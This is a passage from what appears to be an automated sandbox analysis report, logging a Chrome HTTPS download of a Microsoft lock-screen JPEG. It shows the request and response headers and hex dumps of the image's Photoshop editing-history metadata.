Data Ascii: 6GOZD4[e.8@j6wX5YkH9A\fHt^-ZL2YdKH%|yuGWyTx)RD)YttnC,$u}[&l(iGAVKsL9'%~i0Qsr"`0WUb+Q"P=f
8{FJu/OFHdu+a}

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

169 192.168.2.5 49936 80.67.82.211 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:55 UTC 2749 OUT GET /cms/api/am/imageFileData/RE4Pjc1?ver=a739 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive

Copyright Joe Security LLC 2022 Page 184 of 280



2022-07-01 09:01:55 UTC 2968 IN HTTP/1.1 200 OK
Content-Type: image/jpeg
Access-Control-Allow-Origin: *
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4Pjc1?ver=a739
Last-Modified: Thu, 30 Jun 2022 05:08:59 GMT
X-Source-Length: 1871414
X-Datacenter: northeu
X-ActivityId: d7353973-c778-40d4-aecb-8a121dbcf1a6
Timing-Allow-Origin: *
X-Frame-Options: DENY
X-ResizerVersion: 1.0
Content-Length: 1871414
Cache-Control: public, max-age=331587
Expires: Tue, 05 Jul 2022 05:08:22 GMT
Date: Fri, 01 Jul 2022 09:01:55 GMT
Connection: close

2022-07-01 09:01:55 UTC 2969 IN Data Raw: ff d8 ff e1 26 b1 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 
00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 
00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 
00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 
73 29 00 32 30 32 32 3a 30 33 3a 30 32 20 31 33 3a 31 39 3a 33 32 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 
a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 
01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 
Data Ascii: &ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2022:03:02 13:19:328"

2022-07-01 09:01:55 UTC 3016 IN Data Raw: d6 84 e1 8e 31 94 61 2f 51 31 19 4f 0f 17 a6 27 d3 08 ff 00 ab f7 3f 7f ff 00 62 21 7d 05 b6 dc df 52 c6 bd ad f5 
6a 0d ac d8 1c 77 b5 ad 03 7d 97 1a c9 db bf dc da fd fe af b3 d4 51 ea 38 86 cb 31 ae 73 80 63 1f bd f6 b0 b5 92 1c cb 
2a bf 6f b7 63 5b 6d 6e ad f6 32 df d0 df e9 7f 34 a3 86 3a 7e f6 5e 1e ec 47 d6 4f a9 48 b1 ce ad e3 46 fe 9a b6 fe 91 ce 
c5 df fa 37 fa 74 fd 3a aa b9 4e de a5 8d f6 2b 6b c9 b2 b7 16 87 7d a2 ab 1e e6 03 5d 83 75 2f 30 db 3e 9d 6d 66 cf 47 7f 
fc 17 a9 75 6a 21 09 71 09 44 13 44 44 c6 bf 7f 8a 12 f5 f1 7f 57 f4 59 00 b1 7a 0f ab 99 77 57 e9 f4 7e 83 1e fa ad 7b ec 
0c 8c 52 e2 d7 96 fe 92 b6 c3 b6 37 1f 7b 9b ee f4 2f b3 fc 27 ee 7a 96 65 66 55 46 6e 3d 16 74 f6 39 bb 3d 41 7f b1 94 
d6 d2 5c df 51 cd fe 75 b6 55 b3 77 a4 cf 
Data Ascii: 1a/Q1O'?b!}Rjw}Q81sc*oc[mn24:~^GOHF7t:N+k}]u/0>mfGuj!qDDDWYzwW~{R7{/'zefUFn=t9=A\QuUw

2022-07-01 09:01:55 UTC 3032 IN Data Raw: 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 
70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 
30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 
4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 
37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 31 31 54 31 32 3a 35 34 3a 32 36 2d 30 37 
3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 
77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 51 34 2d 31 32 35 5f 
Data Ascii: 07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lock
screen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved&#xA;2016-07-11T12:54:26-07:00&#
x9;File C:\Users\v-lizagh\MS\Windows10\PrettyPics\Q4-125_

2022-07-01 09:01:55 UTC 3059 IN Data Raw: 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 30 
39 30 34 31 35 5f 48 61 6c 6c 73 74 61 74 74 41 75 73 74 72 69 61 5f 35 30 30 70 78 2d 36 39 33 38 38 36 35 35 5f 47 72 
61 64 69 65 6e 74 2d 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 
31 32 54 31 35 3a 31 37 3a 30 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 
69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 
68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 
32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 
Data Ascii: s\v-lizagh\MS\Windows10\PrettyPics\090415_HallstattAustria_500px-69388655_Gradient-1920x1080.jpg s
aved&#xA;2016-07-12T15:17:03-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 
2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F

2022-07-01 09:01:55 UTC 3401 IN Data Raw: 3b 32 30 31 36 2d 30 38 2d 31 39 54 31 30 3a 35 34 3a 30 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 
20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 
65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 
5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 
44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 
30 31 36 2d 30 38 2d 31 39 54 31 32 3a 31 37 3a 33 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 
65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 
Data Ascii: ;2016-08-19T10:54:06-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 201
5.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved&#xA;2016-0
8-19T12:17:39-07:00&#x9;File C:\Users\v-lizagh\MS\Windows

2022-07-01 09:01:55 UTC 3434 IN Data Raw: 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 
43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 
30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 
46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 30 36 54 31 32 3a 35 35 3a 34 
32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 
69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 45 6c 65 63 74 69 6f 6e 73 5c 4d 49 54 5f 45 6c 65 
63 74 69 6f 6e 73 5f 35 30 30 70 78 2d 39 36 31 32 38 32 39 35 
Data Ascii: ppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landsca
pe001F47920D5F41D85C30DE643DF5B579.psb saved&#xA;2016-10-06T12:55:42-07:00&#x9;File C:\Users\v-lizag
h\MS\Windows10\MomentsInTime\Elections\MIT_Elections_500px-96128295

2022-07-01 09:01:55 UTC 3458 IN Data Raw: 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 
6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 
20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 36 54 31 32 3a 34 34 3a 34 38 2d 30 38 3a 30 30 26 23 78 
39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 
67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 
63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 
46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 
Data Ascii: 0&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved&#xA;2016-11-
16T12:44:48-08:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecove
r\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE64
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2022-07-01 09:01:55 UTC 3530 IN Data Raw: 30 30 70 78 2d 31 32 31 31 39 30 33 39 35 5f 31 39 32 30 78 31 30 38 30 34 45 38 35 44 32 30 46 43 36 33 
35 35 30 45 32 36 33 37 43 41 31 38 34 34 32 44 39 30 41 36 33 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 
37 2d 30 31 2d 31 31 54 31 31 3a 30 30 3a 30 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 
73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 50 72 6f 64 75 63 74 69 76 69 74
79 54 69 70 73 5c 5f 43 48 4f 53 45 4e 5c 45 64 67 65 2d 53 74 61 72 74 4d 65 6e 75 5f 47 65 74 74 79 49 6d 61 67 65 73 
2d 31 36 37 38 38 31 32 33 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 
2d 30 31 2d 31 31 54 31 31 3a 30 31 3a 31 35 2d 30 38 3a 30 30 26 23 
Data Ascii: 00px-121190395_1920x10804E85D20FC63550E2637CA18442D90A63.psb saved&#xA;2017-01-11T11:00:
02-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Edge\ProductivityTips\_CHOSEN\Edge-StartMenu_GettyImages-
167881236_1920x1080.jpg saved&#xA;2017-01-11T11:01:15-08:00&#

2022-07-01 09:01:55 UTC 3560 IN Data Raw: 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 
6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 
75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 
70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 
73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 31 54 31 38 3a 35 32 3a 33 32 2d 30 38 3a 30 30 26 23 78 39 
3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 
65 6e 74 73 49 6e 54 69 6d 65 5c 57 6f 6d 65 6e 73 4d 6f 6e 74 
Data Ascii: #x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen
_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved&#xA;2017-02-21T18:52:32-08:00&#x9;File 
C:\Users\v-lizagh\MS\Windows10\MomentsInTime\WomensMont

2022-07-01 09:01:55 UTC 3742 IN Data Raw: 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 38 54 31 31 
3a 34 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 
5c 57 69 6e 64 6f 77 73 31 30 5c 4d 53 72 65 77 61 72 64 73 5c 53 74 61 72 62 75 63 6b 73 5c 43 48 4f 53 45 4e 5c 4d 5
3 2d 52 65 77 61 72 64 73 5f 53 74 61 72 62 75 63 6b 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 31 33 36 35 39 34 35 
34 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 38 54 31 31 
3a 34 38 3a 35 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 
5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 
Data Ascii: 20x1080.jpg saved&#xA;2017-02-28T11:44-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MSrewards\Sta
rbucks\CHOSEN\MS-Rewards_Starbucks_GettyImages-613659454_1920x1080.jpg saved&#xA;2017-02-28T11:48:56-
08:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\A

2022-07-01 09:01:55 UTC 3822 IN Data Raw: 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 5c 42 69 6e 67 41 74 
57 6f 72 6b 5c 43 48 4f 53 45 4e 5c 42 69 6e 67 41 74 57 6f 72 6b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 36 36 35 31 
33 34 33 38 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 31 32 
54 31 31 3a 34 34 3a 35 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 
61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 5c 42 69 6e 67 41 74 57 6f 72 6b 5c 43 48 4f 53 45 4e 5c 
42 69 6e 67 41 74 57 6f 72 6b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 39 33 39 30 37 37 35 30 5f 31 39 32 30 78 31 3
0 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 
Data Ascii: rs\v-lizagh\MS\Windows10\Bing\BingAtWork\CHOSEN\BingAtWork_GettyImages-466513438_1920x1080.jpg 
saved&#xA;2017-04-12T11:44:58-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Bing\BingAtWork\CHOSEN\Bing
AtWork_GettyImages-493907750_1920x1080.jpg saved&#xA;2017

2022-07-01 09:01:55 UTC 3854 IN Data Raw: 63 61 70 65 2e 70 73 64 20 63 6c 6f 73 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 32 38 54 31 38 3a 31 
34 3a 33 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 
53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 
70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 30 35 54 30 39 3a 30 36 3a 31 38 2d 30 37 
3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 
61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 30 35 54 30 39 3a 31 30 3a 35 39 2d 
30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 
Data Ascii: cape.psd closed&#xA;2017-04-28T18:14:39-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1
920x1080_Landscape.psd saved&#xA;2017-05-05T09:06:18-07:00&#x9;File Lockscreen_1920x1080_Landscape.psd 
opened&#xA;2017-05-05T09:10:59-07:00&#x9;File C:\Users

2022-07-01 09:01:55 UTC 3894 IN Data Raw: 66 66 69 63 65 47 65 6e 65 72 69 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 35 37 35 38 37 36 33 5f 31 
39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 32 54 31 36 3a 30 38 
3a 32 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 
5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 47 65 6e 65 72 61 6c 2d 53 70 6f 74 6c 69 67 
68 74 5f 51 34 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 47 65 6e 65 72 69 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 
35 37 35 38 37 36 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 
2d 31 32 54 31 36 3a 30 39 3a 35 38 2d 30 37 3a 30 30 26 23 78 39 
Data Ascii: fficeGeneric_GettyImages-175758763_1920x1080.psd saved&#xA;2017-05-12T16:08:26-07:00&#x9;File C:\U
sers\v-lizagh\MS\Windows10\Office\Office-General-Spotlight_Q4\Crops\OfficeGeneric_GettyImages-175758763_1920x1
080.jpg saved&#xA;2017-05-12T16:09:58-07:00&#x9

2022-07-01 09:01:55 UTC 3981 IN Data Raw: 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 
2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 31 38 54 31 31 3a 35 39 3a 32 37 2d 30 37 3a 30 
30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 3
1 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 69 6d 62 6c 65 64 6f 6e 5c 43 68 6f 73 65 6e 5c 4d 49 54 2d 57 69 6
d 62 6c 65 64 6f 6e 5f 34 37 30 31 30 38 35 35 30 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 
41 3b 32 30 31 37 2d 30 36 2d 32 30 54 30 39 3a 35 32 3a 33 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 
63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 
Data Ascii: ape001F47920D5F41D85C30DE643DF5B579.psb saved&#xA;2017-06-18T11:59:27-07:00&#x9;File C:\
Users\v-lizagh\MS\Windows10\MomentsInTime\Wimbledon\Chosen\MIT-Wimbledon_470108550_1920x1080.jpg sav
ed&#xA;2017-06-20T09:52:36-07:00&#x9;File Lockscreen_1920x1080_Land

2022-07-01 09:01:55 UTC 3997 IN Data Raw: 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 36 
54 31 33 3a 32 33 3a 34 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 
61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 
6e 74 2d 46 59 31 38 5c 43 68 6f 73 65 6e 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 46 59 31 38 5f 47 65 74 74 
79 49 6d 61 67 65 73 2d 31 36 30 36 37 33 33 31 35 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 
78 41 3b 32 30 31 37 2d 30 37 2d 32 36 54 31 33 3a 32 34 3a 34 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 
3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 
Data Ascii: _Landscape.psd opened&#xA;2017-07-26T13:23:41-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Micros
oft\MixerEngagement-FY18\Chosen\MixerEngagementFY18_GettyImages-160673315_1920x1080.psd saved&#xA;2017-
07-26T13:24:43-07:00&#x9;File C:\Users\v-lizagh\MS\Win
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2022-07-01 09:01:55 UTC 4044 IN Data Raw: 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 
32 30 31 37 2d 30 38 2d 30 33 54 31 36 3a 33 33 3a 33 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 
73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 
65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 
65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 3
5 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 
30 33 54 32 30 3a 35 37 3a 35 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 
Data Ascii: 41D85C30DE643DF5B579.psb saved&#xA;2017-08-03T16:33:31-07:00&#x9;File C:\Users\v-lizagh\
AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5
F41D85C30DE643DF5B579.psb saved&#xA;2017-08-03T20:57:50-07:00&#x9;F

2022-07-01 09:01:55 UTC 4116 IN Data Raw: 32 30 31 37 2d 30 39 2d 32 35 54 31 33 3a 30 36 3a 32 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 
43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 
4d 4d 58 5c 52 4f 55 4e 44 32 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 57 69 6e 64 6f 77 73 4d 4d 58 2d 52 64 32 5f 
35 30 30 70 78 2d 31 38 32 32 36 35 37 33 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 
32 30 31 37 2d 30 39 2d 32 35 54 31 33 3a 31 33 3a 35 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 57 69 6e 64 
6f 77 73 4d 4d 58 2d 52 64 32 5f 35 30 30 70 78 2d 31 38 32 32 36 35 37 33 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 
20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 35 54 31 
Data Ascii: 2017-09-25T13:06:26-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Windows\MMX\ROUND2\_CH
OSEN\Crops\WindowsMMX-Rd2_500px-18226573_1920x1080.psd saved&#xA;2017-09-25T13:13:52-07:00&#x9;File 
WindowsMMX-Rd2_500px-18226573_1920x1080.psd opened&#xA;2017-09-25T1

2022-07-01 09:01:55 UTC 4331 IN Data Raw: 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 
64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 30 31 54 31 33 3a 32 39 3a 35 30 2d 30 37 3a 30 30 26 23 
78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 
70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 30 31 54 31 33 3a 33 33 3a 35 31 2d 30 37 3a 30 
30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 
31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 43 6f 6c 6c 65 67 65 46 6f 6f 74 62 61 6c 6c 5c 52 45 46 52 45 53 48 
5c 43 72 6f 70 73 5c 4d 49 54 2d 4e 46 4c 43 6f 6c 6c 65 67 65 46 6f 
Data Ascii: 10\Lockscreen_1920x1080_Landscape.psd saved&#xA;2017-11-01T13:29:50-07:00&#x9;File Locks
creen_1920x1080_Landscape.psd opened&#xA;2017-11-01T13:33:51-07:00&#x9;File C:\Users\v-lizagh\MS\Win
dows10\MomentsInTime\CollegeFootball\REFRESH\Crops\MIT-NFLCollegeFo

2022-07-01 09:01:55 UTC 4378 IN Data Raw: 69 63 65 5c 53 70 6f 74 6c 69 67 68 74 5f 46 59 31 37 5c 5f 43 48 4f 53 45 4e 5c 53 6b 79 70 65 5c 43 72 6f 70 
73 5c 4f 66 66 69 63 65 2d 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 38 33 30 31 34 31 36 5f 31 39 
32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 31 37 54 31 35 3a 35 35 3a 
